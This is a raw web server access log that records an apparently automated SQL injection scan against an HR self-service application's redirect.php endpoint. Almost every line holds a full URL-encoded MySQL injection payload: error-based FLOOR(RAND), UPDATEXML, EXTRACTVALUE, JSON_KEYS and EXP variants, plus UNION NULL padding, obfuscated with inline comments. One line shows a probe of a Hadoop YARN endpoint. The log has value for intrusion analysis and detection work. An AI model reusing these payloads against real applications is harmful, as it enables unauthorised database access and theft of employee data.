100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x485a734e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68537750%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FDB3B&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x485a734e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68537750%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FDB3B&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x47493938%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f77744f%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FUbeQ&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x47493938%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f77744f%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FUbeQ&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4b354864%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58686959%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FWTiq&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4b354864%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58686959%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FWTiq&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x56694343%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x676a5073%29%29%2C1%29--%2F%2A%2A%2Fbr3s&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x56694343%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x676a5073%29%29%2C1%29--%2F%2A%2A%2Fbr3s&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x7671587a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x306c7a73%29%29%2C1%29--%2F%2A%2A%2FbvjA&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x7671587a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x306c7a73%29%29%2C1%29--%2F%2A%2A%2FbvjA&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x46455242%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57504a49%29%2C5431%29--%2F%2A%2A%2FS5Zr&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x46455242%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57504a49%29%2C5431%29--%2F%2A%2A%2FS5Zr&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4c446b56%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b32506e%29%2C5431%29--%2F%2A%2A%2FGLdC&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4c446b56%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b32506e%29%2C5431%29--%2F%2A%2A%2FGLdC&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4c484b52%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e6b3455%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FEXVF&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4c484b52%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e6b3455%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FEXVF&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x517a4836%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72354249%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FQe2S%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x517a4836%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72354249%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FQe2S%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6b477a59%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x714a4164%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FmIV7&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6b477a59%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x714a4164%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FmIV7&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4d4c5254%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47686a37%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FQ6ME&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4d4c5254%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47686a37%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FQ6ME&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x41584473%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73594a49%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FTCTd&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x41584473%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73594a49%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FTCTd&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x70587568%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f626b53%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x70587568%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f626b53%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x52585970%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c554b59%29%29x%29%29--%2F%2A%2A%2FiFQg&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x35577036%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55586973%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FUicX&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:40 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x485a734e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68537750%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FDB3B&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x574d4a47%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48315334%29%29x%29%29--%2F%2A%2A%2FZpzo&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x47493938%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f77744f%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FUbeQ&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x56694343%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x676a5073%29%29%2C1%29--%2F%2A%2A%2Fbr3s&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess HTTP/1.1" 301 249
